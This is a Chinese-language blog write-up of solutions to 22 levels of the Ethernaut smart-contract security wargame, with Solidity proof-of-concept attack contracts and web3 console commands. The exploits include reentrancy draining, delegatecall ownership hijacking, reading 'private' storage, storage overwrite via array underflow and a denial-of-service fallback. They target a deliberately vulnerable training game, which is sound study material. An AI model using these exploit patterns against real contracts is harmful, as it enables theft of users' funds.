专栏首页中二病也要当白帽子Ethernaut WriteUp 更新到22题 Shop

Ethernaut WriteUp 更新到22题 Shop

网上有几篇WP了,但是有的题目短缺,有的不够详细,有的POC,MagicNumber题目更新后是过不了的~~虽说我这里也不可能做到最详细,但是综合起来看的话,应该会好一些。下面是本篇WP参考到的文章,感谢。

Zeppelin Ethernaut writeup - MitAh's Blog (更新到22题)

Zeppelin ethernaut writeup - Bendawang's site (更新到22题)

智能合约CTF:Ethernaut Writeup Part 3 更新到18题

Ethernaut Zeppelin 学习 - 么哈么哈 更新到18题

Zeppelin Ethernaut writeup - MitAh 更新到15题

Hello Ethernaut

考察知识点

  1. 设置MetaMask来使用Ropsten测试网络。
  2. 通过contract.abi查看到所有可用函数

解题过程

await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')

FallBack

考察知识点

  1. 用于理解fallback函数的题目, 我本来以为是重入漏洞,其实就是调用一下fallback函数就好。 fallback函数就是那个没有名称的函数,每当合约收到以太币时(没有数据),这个函数就会执行
  2. Ownable.sol的理解
  3. 旧版的solidity,构造函数的声明不是使用constructor(),而是使用同名函数,所以名为Fallback的函数是构造函数,不要认错。

解题过程

//保证在执行FallBack函数时,能通过contributions[msg.sender] > 0的校验
await contract.contribute({value:1})  
//通过转账调用Fallback函数。
await contract.sendTransaction({value:1}) 或者 用MetaMask的发送功能。
//转走合约的钱。
await contract.withdraw()

Fallout

考察知识点

  1. 构造函数写法(旧版本0.4.x)

解题流程

构造函数..的名字是fal1out,所以说他不是构造函数...

调用它就可以获得owner权限了。

所以新版本slidity推荐这样写了

    constructor() public {
    owner = msg.sender;
    }

这样不必须要和合约名相同名称

CoinFlip

考察知识点

  1. 随机数安全

解题流程

主要考察的是,用Block的相关值当随机数验证,会有严重的安全问题。

这次就必须要用到Remix在线IDE了。

block.blockhash实际上已经被废弃了,不过测试还是没问题的,注意选择好编译器版本。(新的是blockhash)

部署环境Environment选择Injected Web3

image.png

poc如下:

pragma solidity >=0.4.18 <0.6.0;

import "./CoinFlip.sol";

contract CoinFlipPoc {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
 
  function CoinFlipPoc(address aimAddr) public {
    expFlip = CoinFlip(aimAddr);
  }
 
  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}

其实就是抄的网上的poc,因为要等这个区块完成后,才能执行一次。因为源代码里判断了

if (lastHash == blockValue) { revert(); }

所以不能用for循环的。要自己点10次hack了,中途还可能遇到error的情况 hhh。

c数组的第一个值就是consecutiveWins的值了。状态变量,不和用户绑定的。所以发起攻击的合约地址是无所谓的。

poc2

let blockHash = function() {
  return new Promise(
    (resolve, reject) => web3.eth.getBlock('latest', (error, result) => {
      if(!error)
          resolve(result['hash']);
      else
          reject(error);
    })
  );
}

contract.flip(parseInt((await blockHash())[2], 16) > 8)

Telephone

考察知识点

tx.origin

解题流程

让msg.sender与tx.origin不相同即可,使用合约就可以实现。

  • tx.origin 是交易的发送方。
  • msg.sender 是消息的发送方。
pragma solidity >=0.4.18 <0.6.0;

import "./Telephone.sol";

contract TelephonePoc {
    
    Telephone phone;
    
    function TelephonePoc(address aimAddr) public {
        phone = Telephone(aimAddr);
    }
    
    function attack(address _owner) public{
        phone.changeOwner(_owner);
    }
}

await contract.owner() 可以看当前的owner。

可被用于钓鱼。

Token

考察知识点

  1. 整数溢出

解题流程

因为是uint的,负数就直接是下溢了。

转账地址随便填就行,只要不是自己就行,否则就加一次减一次回来了。

查看自己的余额(await contract.balanceOf(player)).toNumber()

Delegation

考察知识点

  1. delegatecall的理解、其调用方式是通过函数名hash后的前4个bytes来确定调用函数的。
  2. delegatecall与call的区别。

解题流程

题目要求也是获取owner权限。

可以看到Delegate合约中 pwn()函数就能修改owner。我们只要想办法在Delegation中调用即可。

PS: 注意delegatecall与call不同,他的上下文是调用合约,即相当于代码重用,会修改调用合约中的变量。所以我们的攻击才能奏效。

//sha3的返回值前两个为0x,所以要切0-10个字符。
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});

Force

考察知识点

  1. 强行将以太币置入合约的相关方式:1. 通过自毁、2. 创建前预先发送Ether、3. 为其挖矿。

解题流程

目标是使合同余额大于零。

  1. 使用自毁的方式 pragma solidity ^0.4.18; contract Force { function ForceSendEther(address _addr) payable public{ selfdestruct(_addr); } } ​ 给自己的合约发送一些ether、调用ForceSendEther,通过自毁,将ether强行发送到另一个合约。 确保Remix的环境是在Injected Web3下。 查询余额的方式:(await getBalance(instance)).toNumber()

第二种方式是通过提前算出合约地址然后发送Ether的方式。

address(keccak256(0xd6, 0x94, _from, nonce))

第三种是直接为其挖矿。这里二三种方式就不做尝试了。

Vault

考察知识点

  1. 合约中的所有内容对所有外部观察者都是可见的。私有只会阻止其他合约访问和修改信息。

解题过程

这里给出两个网上的payload。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
function getStorageAt (address, idx) {
  return new Promise (function (resolve, reject) {
    web3.eth.getStorageAt(address, idx, function (error, result) {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    })
})}

await getStorageAt(instance, 1);

得到密码”A very strong secret password :)“

调用contract.unlock("A very strong secret password :)")即可。

通关后推荐我们使用zkSNARKs来保证安全。

King

考察知识点

  1. transfer() 调用失败时会回滚状态,那么如果合约在这一步骤一直调用失败的话,代码将无法继续向下运行.

解题过程

!!失败了很多次...做到下一道题的时候才发现是OOG,Gas给少了,多给点就过了...毕竟测试网络大家都是土豪 Orz。

transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。

pragma solidity ^0.4.18;

contract Attack {
    address instance_address = instance_address_here;

    function Attack() payable{}

    function hack() public {
        instance_address.call.value(1.1 ether)();
    }

    function () public {
        revert();
    }
}

似乎也可以这样写。

contract.sendTransaction({value: toWei(1.01)})

给了两个实际案例

King of the Ether and King of the Ether Postmortem

Re-entrancy

考察知识点

  1. 重入攻击

解题过程

POC如下:

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable;
  function balanceOf(address _who) public view returns (uint balance);
  function withdraw(uint _amount) public;
  function() public payable {}
}

contract ReentrancePoc {

    Reentrance reInstance;
    
    function getEther() public {
        msg.sender.transfer(address(this).balance);
    }
    
    function ReentrancePoc(address _addr) public{
        reInstance = Reentrance(_addr);
    }
    function callDonate() public payable{
        reInstance.donate.value(msg.value)(this);
    }

    function attack() public {
        reInstance.withdraw(1 ether);
    }

  function() public payable {
      if(address(reInstance).balance >= 1 ether){
        reInstance.withdraw(1 ether);
      }
  }
}

先调用callDonate,然后attack,就会重入到fallback函数中了。直到合约的余额为0。

具体原理,网上分析的很多,就不赘述了。

这里一直遇到了OOG问题,即Out of gas。在本地测试不会遇到。这是因为默认的Gas设置不能满足重入的需求,可以手动修改gas的量。如图

image.png

顺便一提,本体其实还有整数下溢的问题。

通过下述代码查看账户余额。

fromWei(await contract.balanceOf(""))

await getBalance(contract.address)查看合约总余额。为0,则代表通关。

Elevator

考察知识点

  1. 函数即使被修饰了pure、view等修饰符,虽然会有警告,但还是可以修改状态变量的。

解题过程

理解了知识点后,就很好做了,第一次返回false第二次返回true即可。

pragma solidity ^0.4.18;

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public;
}

contract BuildingPoc {

    Elevator ele;
    bool t = true;

    function isLastFloor(uint) view public returns (bool){
        t = !t;
        return t;
    }
    
    function attack(address _addr) public{
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}

通关后,题目给出了也可以使用gasleft的方式进行完成。这里就不做测试了。

Privacy

考察知识点

  1. 内部存储结构
  2. web3 api的使用。

解题过程

要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api,web3.eth.getStorageAt就可以,依次获取

web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);})
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);})
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);})
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);})
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);})
0x0000000000000000000000000000000000000000000000000000000000000000
....

根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。 那么我们简单分析下题目中的变量们:

bool public locked = true;  //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节

bytes32[3] private data;

那么第一个 32 字节就是由lockedflatteningdenominationawkwardness组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。 那么 data[2] 就是0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93, 注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。 执行 unlock 即可。

Gatekeeper One

考察知识点

  1. 类型转换的理解
  2. solidity调试(最好看懂一点机器码)
  3. etherscan的熟练使用。
  4. tx.origin的理解

解题过程

gateOne和之前的一样,这里就不赘述了。用合约来就能完成这个任务。

编译器版本:v0.4.18+commit.9cf6e910

image.png

保证执行完Gas命令后剩余8191的整数倍。我这里使用的是819315。

我以tx.origin=0x566f6e07f13ed2b092fc2fbe95aaf5e7f558efbf 为例

为了满足uint32(_gateKey) == uint16(tx.origin);。

uint16(tx.origin)的值最后4个字节,即0xefbf

bytes8 相当于uint64,bytes应该是为了兼容Utf-8吧,采用的是宽字节。

所以第一个条件,uint32(_gateKey) == uint16(_gateKey);

构造即为0x0000efbf,即前16位为0.

再看第二个条件, uint32(_gateKey) != uint64(_gateKey);

其实就是前半部分只要不是0就行。否则两个的值就一样了。

一个可用的:

0x000000010000efbf

最终

pragma solidity ^0.4.18;

import "./GatekeeperOne.sol";

contract GatekeeperOnePoc {
    
    GatekeeperOne one;
    
    function GatekeeperOnePoc(address _addr) public{
        one = GatekeeperOne(_addr);
    }
    
    function attack() public{
        one.call.gas(819315)(bytes4(keccak256("enter(bytes8)")), bytes8(0x000010000000733c));
    }
}

传参的时候,要自己转一下bytes8,要不然会有问题...我猜是uint256去转了。这块花费了太长时间了,就不扣这块了。

Gatekeeper Two

考察知识点

  1. 位运算
  2. sodility汇编-extcodesize

解题过程

gateOne 跟上一关一样,需要利用合约进行攻击。

gateTwo 中 extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编,来获取调用方(caller)的代码大小,一般来说,caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0 。

条件为调用方代码大小为 0 ,但这又与 gateOne 冲突了。经过研究发现,当合约在初始化,还未完全创建时,代码大小是可以为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。

第二点,这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的。

Poc如下:

pragma solidity ^0.4.18;

import "./GatekeeperTwo.sol";

contract GatekeeperTwoPoc {
    
     uint64 public mask = 0xFFFFFFFFFFFFFFFF;
    
    function GatekeeperTwoPoc(address _addr){
        GatekeeperTwo target = GatekeeperTwo(_addr);
        uint64 res =  uint64(keccak256(this)) ^ mask;
        //  target.call.gas(100000)(bytes4(sha3("enter(bytes8)")),bytes8(res));
        target.enter(bytes8(res));
    }
    
    function Test(bytes8 _gateKey) public view returns(bytes8 a,uint64 b,uint64 c,uint64 d,bool flag,uint64 res){
        a = bytes8(0x35CA4826EABA710A);
        b = uint64(keccak256(msg.sender));
        c = uint64(_gateKey);
        d = uint64(a);
        flag = uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1;
        res =  uint64(keccak256(this)) ^ mask;
        }
}

Naught Coin

考察知识点

  1. ERC20

解题过程

熟悉ERC20就不难,Copy一段WP:

既然子合约没有什么问题,那我们看看 import 的父合约 StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那未重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码:

 contract StandardToken {
    using ERC20Lib for ERC20Lib.TokenStorage;
    ERC20Lib.TokenStorage token;
    ...
    function transfer(address to, uint value) returns (bool ok) {
         return token.transfer(to, value);
       }

    function transferFrom(address from, address to, uint value) returns (bool ok) {
         return token.transferFrom(from, to, value);
       }
    ...
}

跟进ERC20Lib.sol

library ERC20Lib {
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);

        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

可以直接调用这个transferFrom即可了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。

POC如下:

await contract.approve(player,toWei(1000000))
await contract.transferFrom(player,contract.address,toWei(1000000))

await contract.balanceOf(player) 可以看账户余额。

Preservation

考察知识点

  1. delegatecall
  2. storage 变量的存储与访问
  3. 类型转换

解题过程

这里就是主要利用delegatecall函数的特性,先介绍下: delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:

contract a{
    uint public x1;
    uint public x2;

    function funca(address param){
        param.delegate(bytes4(keccak256("funcb()")));
    }
}
contract b{
    uint public y1;
    uint public y2;

    function funcb(){
        y1=1;
        y2=2;
    }
}

上述合约中,一旦在 a 中调用了 b 的funcb函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。

在这个过程中实际 b 合约的funcb函数是把 storage 里面的slot 1的值更换为了 1,把slot 2的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。

所以这个题就很好办了,我们调用PreservationsetFirstTime函数时候实际通过 delegatecall 执行了LibraryContractsetTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTimetimeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

POC如下:

pragma solidity ^0.4.23;

contract PreservationPoc {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  
  function setTime(uint _time) public {
    owner = address(_time);
  }
}

await contract.setSecondTime(恶意合约地址)

await contract.setFirstTime(player地址)

记得加引号。

函数中的局部变量默认为存储或内存,具体取决于其类型。未初始化的本地存储变量可以指向合约中的其他意外存储变量,从而导致故意(即开发人员故意将它们放在那里进行攻击)或无意的漏洞。

Locked

考察知识点

  1. 使用未初始化的存储器局部变量导致的漏洞

解题过程

copy一段解释:

为了讨论这个漏洞,首先我们需要了解存储(Storage)在 Solidity 中的工作方式。作为一个高度抽象的概述(没有任何适当的技术细节——我建议阅读 Solidity 文档以进行适当的审查),状态变量按它们出现在合约中的顺序存储在合约的 Slot 中(它们可以被组合在一起,但在本例中不可以,所以我们不用担心)。因此, unlocked 存在 slot 0 中, registeredNameRecord 存在 slot 1 中, resolveslot 2 中,等等。这些 slot 的大小是 32 字节(映射会让事情更加复杂,但我们暂时忽略)。如果 unlockedfalse ,其布尔值看起来会是 0x000...0(64 个 0,不包括 0x );如果是 true ,则其布尔值会是 0x000...1 (63 个 0)。正如你所看到的,在这个特殊的例子中,存储上存在着很大的浪费。

我们需要的另一部分知识,是 Solidity 会在将复杂的数据类型,比如 structs ,初始化为局部变量时,默认使用 storage 来存储。因此,在 [16] 行中的 newRecord 默认为storage。合约的漏洞是由 newRecord 未初始化导致的。由于它默认为 storage,因此它成为指向 storage 的指针;并且由于它未初始化,它指向 slot 0(即 unlocked 的存储位置)。请注意,[17] 行和[18] 行中,我们将 _name 设为 nameRecord.name 、将 _mappedAddress 设为 nameRecord.mappedAddress 的操作,实际上改变了 slot 0 和 slot 1 的存储位置,也就是改变了 unlocked 和与 registeredNameRecord 相关联的 slot。

这意味着我们可以通过 register() 函数的 bytes32 _name 参数直接修改 unlocked 。因此,如果 _name 的最后一个字节为非零,它将修改 slot 0 的最后一个字节并直接将 unlocked 转为 true 。就在我们将 unlocked 设置为 true 之时,这样的 _name 值将传入 [23] 行的 require() 函数。在Remix中试试这个。注意如果你的 _name 使用下面形式,函数会通过: 0x0000000000000000000000000000000000000000000000000000000000000001

Recovery

考察知识点

  1. 区块链上一切都是透明的,即使弄丢了 Token 地址,也可以从区块中根据交易记录找回。
  2. 通过 selfdestruct 指令可以销毁某个 Token 并将剩余的以太转移到某一账户中去

解题过程

使用Instance的地址通过Etherscan可以查到SimpleToken 的地址。

然后可以编写一个简单的Poc,调用destroy即可。

POC如下:

pragma solidity ^0.4.23;

contract SimpleToken {

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // collect ether in return for tokens
  function() public payable ;

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public ;

  // clean up after ourselves
  function destroy(address _to) public ;
}

contract RecoveryPoc {
    SimpleToken target;
    constructor(address _addr) public{
        target = SimpleToken(_addr);
    }

    function attack() public{
        target.destroy(tx.origin);
    }
    
}

,应该还可以使用Remix的At Address直接操控已经在链上的合约。(我这边不知道为什么js报错了)

调用成功后,可以发现合约已经被销毁了。

甚至还可以手动计算地址。

public a = address(keccak256(0xd6,0x94,YOUR_ADDR,0x01));

MagicNumber

考察知识点

  1. EVM汇编
  2. 使用opcode创建合约
  3. 生命的意义

解题过程

POC如下:

var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
await contract.setSolver("contract address");

网上的POC,似乎都是return的66,即0x42。

应该是return 0x2a才对。

之前他们能AC,是合约不严谨,但现在这个问题已经被修复了。

Alien Codex

考察知识点

  1. EVM汇编、abi等
  2. 合约是如何从零创建的
  3. OOB (out of boundary) Attack

解题过程

这个题也比较复杂,要比较清楚内部实现才可以。

POC

sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true、


await contract.retract()

因为数组计算存储位是通过这个公式计算的。slot是数组所在的存储位

keccak256(slot) + index

数组计算也会返回一个uint256,所以也能构成溢出。

计算方式 想要定位到的位置 x

x == keccak256(slot) + (2^256 - keccak256(slot) ) + x == 2^256 + x

因为溢出的缘故,2^256 +x == x。

所以我们传一个下标为(2^256 - keccak256(slot) ) + x的值就可以定位到任意存储位了。

x=0时,slot等于1时

这个位置为

0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

然后记得把40位地址补齐为64位的。

Denial

考察知识点

  1. 重入
  2. assert失败后会耗费所有Gas

解题过程

明显重入是可以的,不过重入计算balance的时候,这个balance是被更新了的,很难取出全部的。

POC如下:

contract DenialPoc{
    
    Denial target;
    
    constructor(address _addr) public {
         target = Denial(_addr);
    }
    
    function () payable public {
        target.withdraw();
    } 
}

这个题的本意是说,你取到钱,Partner取不到即可,下面这个POC,应该也可以:

contract attack{
    function() payable{
        assert(0==1);
    }
}

Shop

考察知识点

  1. 低gas的使两次返回值不同。

解题过程

要求是修改 price 低于 100,

那就第一次返回大于100,第二次返回小于100。

不能使用状态变量,否则会超出gas限制。

我抱着试一试的态度,写了下面的POC,没想到成功了,主要是不知道能否实时获取到isSold变量的变化。竟然是可以的,这里的原理就还需要细究了,应该是没有从链上读的,毕竟,这个交易都还没有完成。

contract ShopPoc{
    
    Shop target;
    
    function attack(address _addr) public{
        target = Shop(_addr);
        target.buy();
    }
    
    function price() external view returns (uint){
        if (target.isSold() == true){
            return 99;
        }
        return 102;
    }
}

完成~~ 可喜可贺~

毕竟是在公司完成的,版权所有:成都链安。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 学编程数学到底有多重要?线性代数能否视为一门程序语言呢?

    线性代数告诉我们,“行!按我的语法构造一个矩阵,再按矩阵乘法规则去乘你们的图像,我保证结果就是你们想要的”。

    老九君
  • IT兄弟连 HTML5教程 HTML5的基本语法 了解HTML及运行原理

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    ITXDL
  • 如何仅用一张图片就能实现【炫光方块】特效?

    CocosCreator 的节点上的颜色属性对 3D 模型是不起作用的,要想修改模型颜色就要对材质操作,而材质是基于 effect 渲染的。那么怎么改变模型颜色...

    张晓衡
  • 如何安全的运行第三方 JavaScript 代码

    最近,我们团队完成了 Figma 插件 API 的开发工作,这样第三方开发人员就可以直接在基于浏览器的设计工具中运行代码。这为第三方开发人员带来便利的同时,也给...

    奋斗蒙
  • Javascript 的新功能-Part 1[每日前端夜话0xC6]

    最近更新的 V8 引擎使性能提升了不少。JavaScript 解析速度提高了 2 倍甚至更快,从node v8.0开始,node v11以上版本的平均速度比 ...

    疯狂的技术宅
  • 爱奇艺 PC Web Node.js 中间层实践

    爱奇艺作为中国最大的互联网视频综合门户,一直致力于给用户提供更好的使用体验及观影品质。PC主站作为爱奇艺的门户,日均覆盖用户达千万级别。随着公司业务...

    五月君
  • Usbrip:用于跟踪USB设备固件的简单CLI取证工具

    Usbrip(源自“USB Ripper”,而不是“USB RIP”惊人)是一个开源取证工具,带有CLI界面,可让您跟踪USB设备工件(即USB事件历史记录,“...

    FB客服
  • 用JavaScript把CSV与Excel转为Json[每日前端夜话0xC5]

    有两个 JavaScript 插件可用于读取和处理 CSV 和 Excel 文件,之后仅对自己的脚本进行编码即可。

    疯狂的技术宅
  • Java网络编程 -- AIO异步网络编程

    AIO中的A即Asynchronous,AIO即异步IO。它是异步非阻塞的,客户端的I/O请求都是由OS先完成了再通知服务器应用去启动线程进行处理,一般我们的业...

    CodingDiray
  • mybatis当中如何自动生成Model和映射程序与配置文件和所需要的类

    利用mybatis编写的MyBatisGenerator,我们可以生成我们所需要的类和配置文件。

    马克java社区

扫码关注云+社区

领取腾讯云代金券